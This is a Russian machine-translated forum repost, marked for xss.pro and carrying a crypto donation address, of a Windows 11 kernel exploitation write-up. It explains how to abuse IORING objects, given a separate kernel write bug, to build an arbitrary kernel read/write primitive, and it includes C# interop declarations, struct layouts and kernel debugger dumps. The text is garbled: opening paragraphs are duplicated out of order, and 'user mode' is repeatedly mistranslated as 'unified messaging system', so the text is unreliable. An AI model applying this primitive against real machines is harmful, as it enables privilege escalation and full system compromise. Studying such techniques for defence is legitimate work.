ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Наиболее характерная деталь здесь заключается в том, что IORING_VERSION является важным. Версия IORING определяет, какими возможностями он обладает.
Технически этот примитив можно использовать частично и в 21H2. Вопреки здравому смыслу, имея разрешения READ на самом деле предоставляет вам KM Write.
Когда вы создаете IORING вы получаете дескриптор для взаимодействия с объектом. Это не настоящий дескриптор , это указатель на объект единой системы обмена сообщениями для вашего IORING.
В то же время создается объект ядра.
Затем вы можете поставить в очередь операции чтения и записи для вашего IORING.
Помните, что существует массив максимально возможных операций ввода-вывода. Например, если количество операций 0x5 тогда RegBuffersCount было бы 0x5 а сам буфер будет 0x5 * IntPtr.Size в длину.
Наконец, вы можете отправить операции ввода-вывода, чтобы инициировать их использование.
Что тогда выделяете? Это не слишком сложно, структуры операций ввода-вывода выглядят так:
Наконец, после того, как вы перезаписали KM _IORING_OBJECT, не забудьте установить те же свойства для объекта единой системы обмена сообщениями ( HIORING.RegBufferArrayа также HIORING.BufferArraySize). Вы должны быть в состоянии сделать это, потому что вы создали IORINGobject и получил дескриптор, указывающий на эту структуру единой системы обмена сообщениями.
Тогда идея становится более ясной:
Обратите внимание, что RegBuffers, а также RegBuffersCount поля пусты.
Затем я запускаю произвольную ошибку записи KD, чтобы обновить эти поля и установить счетчик ( 0x100) и буфер единой системы обмена сообщениями ( 0x000001f600310000).
Помните, что буфер указывает на массив структур. В этом случае буфер имеет длину 0x100 * IntPtr.Size. но помните, я сказал, что вам нужна только одна запись. Обратите внимание, что здесь у меня есть дружественная ошибка произвольной записи, но если у вас есть приращение, вы должны сделать так, чтобы распределитель дал вам более красивый адрес, например 0x0000000001000000
.
Затем позже мы ставим в очередь операцию ввода-вывода, записывая указатель структуры в наш буфер единой системы обмена сообщениями. Давайте посмотрим, как сейчас выглядит объект KM. (Не обращайте внимания на обновленный адрес, это другое время выполнения POC).
Заметь RegBuffers теперь больше не указывает на пустой буфер, а на то, что действительно существует единственная структура операции ввода-вывода ( _IOP_MC_BUFFER_ENTRY), который был поставлен в очередь.
Мы вручную строим это struct в нашем POC и записываем указатель на буфер UM (индекс 0 в массив RegBuffers ) Просто взглянув на структуру, мы не можем сказать, является ли это операцией чтения или записи, но мы можем видеть, что целью операции является адрес ядра ( 0xfffff8055a11da20) и что размер операции 0x8. Мы либо читаем 8 байт по адресу, либо перезаписываем 8 байт по адресу, в зависимости от того, какую функцию мы вызвали.
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
вступление
Начиная с Windows 22H2 (в т.ч. 23H2 на инсайдерской) можно использовать IORING'sдля создания произвольного примитива RW. Это предполагает, что у вас есть уязвимость, которая предоставляет вам произвольную запись или какой-либо вид или приращение. Я объясню это более подробно ниже. Все это основано на отличном исследовании, проведенном Ярденом Шафиром , я связал ее посты о IORINGниже. В моем описании пропущено много деталей, это скорее красочные заметки постфактум. Для получения более подробной информации о IORING'sобязательно обратитесь к ресурсам ниже.- Кольца ввода-вывода — когда одной операции ввода-вывода недостаточно — здесь
- IoRing vs. io_uring: сравнение реализаций Windows и Linux — здесь
- Один год до кольца ввода-вывода: что изменилось? - здесь
- Одно кольцо ввода-вывода, чтобы управлять ими всеми: полный эксплойт-примитив чтения/записи в Windows 11 — здесь
настройка
Вы можете создать IORING объекты со следующим API.
Код:
[DllImport("kernelbase.dll")]
internal static extern UInt32 CreateIoRing(
IORING_VERSION ioringVersion,
IORING_CREATE_FLAGS flags,
UInt32 submissionQueueSize,
UInt32 completionQueueSize,
ref IntPtr hRing);
Наиболее характерная деталь здесь заключается в том, что IORING_VERSION является важным. Версия IORING определяет, какими возможностями он обладает.
Код:
internal enum IORING_VERSION
{
IORING_VERSION_INVALID = 0,
IORING_VERSION_1, // Read (21H2)
IORING_VERSION_2, // Has a bugfix, I think, for v1 (21H2)
IORING_VERSION_3 = 300 // Read, Write, Flush, Drain (22H2)
}
Технически этот примитив можно использовать частично и в 21H2. Вопреки здравому смыслу, имея разрешения READ на самом деле предоставляет вам KM Write.
Когда вы создаете IORING вы получаете дескриптор для взаимодействия с объектом. Это не настоящий дескриптор , это указатель на объект единой системы обмена сообщениями для вашего IORING.
Код:
[StructLayout(LayoutKind.Sequential)]
internal struct HIORING
{
public IntPtr handle;
public NT_IORING_INFO Info;
public UInt32 IoRingKernelAcceptedVersion;
public IntPtr RegBufferArray; // Pointer to array of IORING opperations
public UInt32 BufferArraySize; // Size of array of opperation pointers
public IntPtr Unknown;
public UInt32 FileHandlesCount;
public UInt32 SubQueueHead;
public UInt32 SubQueueTail;
}
В то же время создается объект ядра.
Код:
1: kd> dt *!*IORING*
.....
1: kd> dt ntkrnlmp!_IORING_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : Ptr64 Void
+0x040 SubmissionQueue : Ptr64 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : Ptr64 _MDL
+0x050 CompletionQueue : Ptr64 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : Uint8B
+0x060 InSubmit : Int4B
+0x068 CompletionLock : Uint8B
+0x070 SubmitCount : Uint8B
+0x078 CompletionCount : Uint8B
+0x080 CompletionWaitUntil : Uint8B
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : UChar
+0x0a8 CompletionUserEvent : Ptr64 _KEVENT
+0x0b0 RegBuffersCount : Uint4B // Size of array of opperation pointers
+0x0b8 RegBuffers : Ptr64 Ptr64 _IOP_MC_BUFFER_ENTRY // Pointer to array of opperations
+0x0c0 RegFilesCount : Uint4B
+0x0c8 RegFiles : Ptr64 Ptr64 Void
Затем вы можете поставить в очередь операции чтения и записи для вашего IORING.
Код:
// Read data from a "file", can be used to overwrite data from the file at an arbitrary KM address
[DllImport("kernelbase.dll")]
internal static extern UInt32 BuildIoRingReadFile(
IntPtr ioRing,
ref IORING_HANDLE_REF fileRef,
ref IORING_BUFFER_REF dataRef,
UInt32 numberOfBytesToRead,
UInt64 fileOffset,
IntPtr userData,
UInt32 sqeFlags);
// Write data to a "file", can be used to write KM Memory to a file
[DllImport("kernelbase.dll")]
internal static extern UInt32 BuildIoRingWriteFile(
IntPtr ioRing,
ref IORING_HANDLE_REF fileRef,
ref IORING_BUFFER_REF bufferRef,
UInt32 numberOfBytesToWrite,
UInt64 fileOffset,
FILE_WRITE_FLAGS writeFlags,
IntPtr userData,
UInt32 sqeFlags);
Помните, что существует массив максимально возможных операций ввода-вывода. Например, если количество операций 0x5 тогда RegBuffersCount было бы 0x5 а сам буфер будет 0x5 * IntPtr.Size в длину.
Наконец, вы можете отправить операции ввода-вывода, чтобы инициировать их использование.
Код:
[DllImport("kernelbase.dll")]
internal static extern UInt32 SubmitIoRing(
IntPtr ioRing,
UInt32 waitOperations,
UInt32 milliseconds,
ref UInt32 submittedEntries);
Что на счет pwn?
Так в чем тут затея? Когда вы инициализируете свой IORING, в этот момент объект режима ядра будет иметь пустые заполнители для RegBuffers, а также RegBuffersCount ( при условии, что вы не предварительно зарегистрировали буфер). Если у вас есть ошибка ядра, которая дает вам произвольную запись или приращение, вы можете установить значения для этих свойств в объекте KM ( _IORING_OBJECT). Единственное, что вы должны иметь в виду, это то, что вы должны иметь возможность размещать данные по указателю, указанному в RegBuffers. Обычно это адрес единой системы обмена сообщениями, который вы фактически выделяете (например, NtAllocateVirtualMemory). Имейте в виду, что вы можете указать предпочтительный базовый адрес для вашего распределителя, вам нужно будет сделать это, если ваша ошибка является произвольным приращением. Что касается длины, вам действительно нужно 0x8 байтов, так как вам не нужно ставить в очередь много операций (только по одной за раз). В моем POC я постоянно обновляю первую запись массива для чтения или записи.Что тогда выделяете? Это не слишком сложно, структуры операций ввода-вывода выглядят так:
Код:
[StructLayout(LayoutKind.Sequential)]
internal struct IOP_MC_BUFFER_ENTRY
{
public UInt16 Type;
public UInt16 Reserved;
public UInt32 Size;
public UInt32 ReferenceCount;
public UInt32 Flags;
public LIST_ENTRY GlobalDataLink;
public IntPtr Address; // Address to Read or Write
public UInt32 Length; // Amount of data to Read or Write
public Byte AccessMode;
public UInt32 MdlRef;
public IntPtr Mdl;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x18)]
public Byte[] MdlRundownEvent; // _KEVENT
public IntPtr PfnArray;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x20)]
public Byte[] PageNodes;
}
Наконец, после того, как вы перезаписали KM _IORING_OBJECT, не забудьте установить те же свойства для объекта единой системы обмена сообщениями ( HIORING.RegBufferArrayа также HIORING.BufferArraySize). Вы должны быть в состоянии сделать это, потому что вы создали IORINGobject и получил дескриптор, указывающий на эту структуру единой системы обмена сообщениями.
Тогда идея становится более ясной:
- BuildIoRingReadFile : чтение данных из дескриптора файла, запись этих данных в IOP_MC_BUFFER_ENTRY.Address на IOP_MC_BUFFER_ENTRY.Length. Это дает вам произвольную запись KM.
- BuildIoRingWriteFile : чтение данных в IOP_MC_BUFFER_ENTRY.Address на протяжении IOP_MC_BUFFER_ENTRY.Length, запишет эти данные в дескриптор файла. Это дает вам произвольное чтение KM.
- В качестве цели «файл» вы можете создать реальный файл, но действительно элегантная вещь, которую делает Ярден, - это использование именованных каналов. Это возможно, потому что эти каналы технически являются просто файловыми объектами. Затем вы можете прочитать данные ядра из канала или записать данные ядра в канал.
Экскурсия в KD
Я просто хочу показать некоторые из этих вещей в KD потому что это будет иметь больше смысла. Вот объект KD для IORING во время создания.
Обратите внимание, что RegBuffers, а также RegBuffersCount поля пусты.
Затем я запускаю произвольную ошибку записи KD, чтобы обновить эти поля и установить счетчик ( 0x100) и буфер единой системы обмена сообщениями ( 0x000001f600310000).
Помните, что буфер указывает на массив структур. В этом случае буфер имеет длину 0x100 * IntPtr.Size. но помните, я сказал, что вам нужна только одна запись. Обратите внимание, что здесь у меня есть дружественная ошибка произвольной записи, но если у вас есть приращение, вы должны сделать так, чтобы распределитель дал вам более красивый адрес, например 0x0000000001000000
.Затем позже мы ставим в очередь операцию ввода-вывода, записывая указатель структуры в наш буфер единой системы обмена сообщениями. Давайте посмотрим, как сейчас выглядит объект KM. (Не обращайте внимания на обновленный адрес, это другое время выполнения POC).
Заметь RegBuffers теперь больше не указывает на пустой буфер, а на то, что действительно существует единственная структура операции ввода-вывода ( _IOP_MC_BUFFER_ENTRY), который был поставлен в очередь.
Мы вручную строим это struct в нашем POC и записываем указатель на буфер UM (индекс 0 в массив RegBuffers ) Просто взглянув на структуру, мы не можем сказать, является ли это операцией чтения или записи, но мы можем видеть, что целью операции является адрес ядра ( 0xfffff8055a11da20) и что размер операции 0x8. Мы либо читаем 8 байт по адресу, либо перезаписываем 8 байт по адресу, в зависимости от того, какую функцию мы вызвали.